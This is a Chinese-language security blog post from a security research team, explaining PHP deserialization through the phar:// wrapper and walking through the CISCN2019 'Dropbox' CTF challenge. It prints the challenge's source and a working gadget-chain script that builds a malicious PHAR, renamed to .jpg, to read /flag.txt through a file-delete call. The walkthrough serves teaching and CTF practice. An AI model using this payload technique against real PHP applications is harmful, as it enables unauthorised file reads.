利用PHAR協議進行PHP反序列化攻擊

廣州錦行科技發表於2021-06-28

PHAR (“Php ARchive”) 是PHP中的打包檔案,相當於Java中的JAR檔案,在php5.3或者更高的版本中預設開啟。PHAR檔案預設狀態是隻讀的,當我們要建立一個Phar檔案需要修改php.ini中的phar.readonly,修改為:phar.readonly = 0

當透過phar://協議對phar檔案進行檔案操作時,將會對phar檔案中的Meta-data進行反序列化操作,可能造成一些反序列化漏洞。

本文由錦行科技的安全研究團隊提供,從攻擊者的角度展示了PHAR反序列化攻擊的原理和過程。



1、PHAR檔案結構

stub phar:檔案標識,格式為xxx<?php xxx;__HALT_COMPILER();?>,該部分必須以 __HALT_COMPILER();?> 進行結尾,否則將無法識別,前面的內容無限制要求。


manifest:壓縮檔案的屬性等資訊,其中的Meta-data會以序列化的形式儲存。

利用PHAR協議進行PHP反序列化攻擊

contents:壓縮檔案的內容

signature:簽名,放在檔案末尾


2、生成PHAR檔案

生成程式如下:

<?php
Class Test{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");    //設定Stub
$o = new Test();
$o -> data='test';
$phar -> setMetadata($o);    //設定Meta-data
$phar -> addFromString("test.txt", "test");    //新增要壓縮的檔案
//簽名自動計算
$phar -> stopBuffering();
?>


生成phar檔案,使用16進位制工具檢視,可以看到Meta-data中的序列化物件

利用PHAR協議進行PHP反序列化攻擊



3、測試反序列化

測試程式如下:

<?php 
class Test{
    function __destruct(){
        echo $this -> data;   //物件銷燬時執行
    }
}
include('phar://phar.phar');
?>


執行結果,可以看到列印了‘test’,證明物件被反序列化建立後銷燬。

利用PHAR協議進行PHP反序列化攻擊

雖然在建立PHAR檔案時字尾是固定的,但完成建立後我們是可以修改phar的字尾名的,例如修改成.jpg,當執行include('phar://phar.jpg');時也可觸發反序列化。


幾乎所有檔案操作函式都可觸發phar反序列化

利用PHAR協議進行PHP反序列化攻擊



4、CTF演示

題目地址:[CISCN2019 華北賽區 Day1 Web1]Dropbox(連結:https://buuoj.cn/challenges#%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox


進入題目後,隨意註冊賬號上傳檔案,上傳點只能上傳圖片字尾

利用PHAR協議進行PHP反序列化攻擊

點選下載,有任意檔案讀取,但是不能讀取flag.txt

利用PHAR協議進行PHP反序列化攻擊


於是讀取網頁原始碼,傳入filename=../../xxx.php

detele.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
   header("Location: login.php");
   die();
}

if (!isset($_POST['filename'])) {
   die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
   $file->detele();
   Header("Content-type: application/json");
   $response = array("success" => true, "error" => "");
   echo json_encode($response);
} else {
   Header("Content-type: application/json");
   $response = array("success" => false, "error" => "File not exist");
   echo json_encode($response);
}
?>


class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
   public $db;

   public function __construct() {
       global $db;
       $this->db = $db;
   }

   public function user_exist($username) {
       $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
       $stmt->bind_param("s", $username);
       $stmt->execute();
       $stmt->store_result();
       $count = $stmt->num_rows;
       if ($count === 0) {
           return false;
       }
       return true;
   }

   public function add_user($username, $password) {
       if ($this->user_exist($username)) {
           return false;

       }
       $password = sha1($password . "SiAchGHmFx");
       $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
       $stmt->bind_param("ss", $username, $password);
       $stmt->execute();
       return true;
   }

   public function verify_user($username, $password) {
       if (!$this->user_exist($username)) {
           return false;
       }
       $password = sha1($password . "SiAchGHmFx");
       $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
       $stmt->bind_param("s", $username);
       $stmt->execute();
       $stmt->bind_result($expect);
       $stmt->fetch();
       if (isset($expect) && $expect === $password) {
           return true;
       }
       return false;
   }

   public function __destruct() {
       $this->db->close();
   }
}

class FileList {
   private $files;
   private $results;
   private $funcs;

   public function __construct($path) {
       $this->files = array();
       $this->results = array();
       $this->funcs = array();
       $filenames = scandir($path);

       $key = array_search(".", $filenames);
       unset($filenames[$key]);
       $key = array_search("..", $filenames);
       unset($filenames[$key]);

       foreach ($filenames as $filename) {
           $file = new File();
           $file->open($path . $filename);
           array_push($this->files, $file);
           $this->results[$file->name()] = array();
       }
   }

   public function __call($func, $args) {
       array_push($this->funcs, $func);
       foreach ($this->files as $file) {
           $this->results[$file->name()][$func] = $file->$func();
       }
   }

   public function __destruct() {
       $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
       $table .= '<thead><tr>';
       foreach ($this->funcs as $func) {
           $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
       }
       $table .= '<th scope="col" class="text-center">Opt</th>';
       $table .= '</thead><tbody>';
       foreach ($this->results as $filename => $result) {
           $table .= '<tr>';
           foreach ($result as $func => $value) {
               $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
           }
           $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭澆</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
           $table .= '</tr>';
       }
       echo $table;
   }
}

class File {
   public $filename;

   public function open($filename) {
       $this->filename = $filename;
       if (file_exists($filename) && !is_dir($filename)) {
           return true;
       } else {
           return false;
       }
   }

   public function name() {
       return basename($this->filename);
   }

   public function size() {
       $size = filesize($this->filename);
       $units = array(' B', ' KB', ' MB', ' GB', ' TB');
       for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
       return round($size, 2).$units[$i];
   }

   public function detele() {
       unlink($this->filename);
   }

   public function close() {
       return file_get_contents($this->filename);
   }
}
?>


分析原始碼


可以看到刪除檔案時使用了File類的delete函式,File類的delete使用了unlink函式,可以觸發phar反序列化。


繼續看到class.php的File類的close()函式中呼叫了file_get_contents函式,可以讀取檔案。但是要怎麼觸發呢,我們可以看到FileList的__call函式,如果我們可以讓FileList引數files為陣列且陣列中一個類為File,只要有類可以執行$FileList->close(),就可以讀取檔案並在FileList的解構函式中顯示出來了。我們看到User類的解構函式,執行了$db->close()。so,我們讓User的$db引數等於FileList就行了。


利用鏈:User類的$db賦值為FileList類,User類的解構函式執行close方法->觸發FileList的__call函式,讓$file值為File,執行$file的close函式->File執行close讀取檔案,控制$filename為想讀取的檔案->FileList物件銷燬,執行解構函式,回顯結果。


生成phar檔案程式碼

<?php
class User{
   public $db;
}

class File{
   public $filename;
   public function __construct($filename){
       $this->filename = $filename;
   }

}

class FileList{
   private $files;
   public function __construct(){
       $this->files=array(new File('/flag.txt'));
   }
}

$user = new User();
$user->db = new FileList();
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($user);
$phar->addFromString("test.txt", "test");
$phar -> stopBuffering();
?>


生成phar檔案,修改字尾為jpg,上傳
刪除檔案處修改filename為‘phar://phar.jpg’,讀取到flag檔案

利用PHAR協議進行PHP反序列化攻擊

相關文章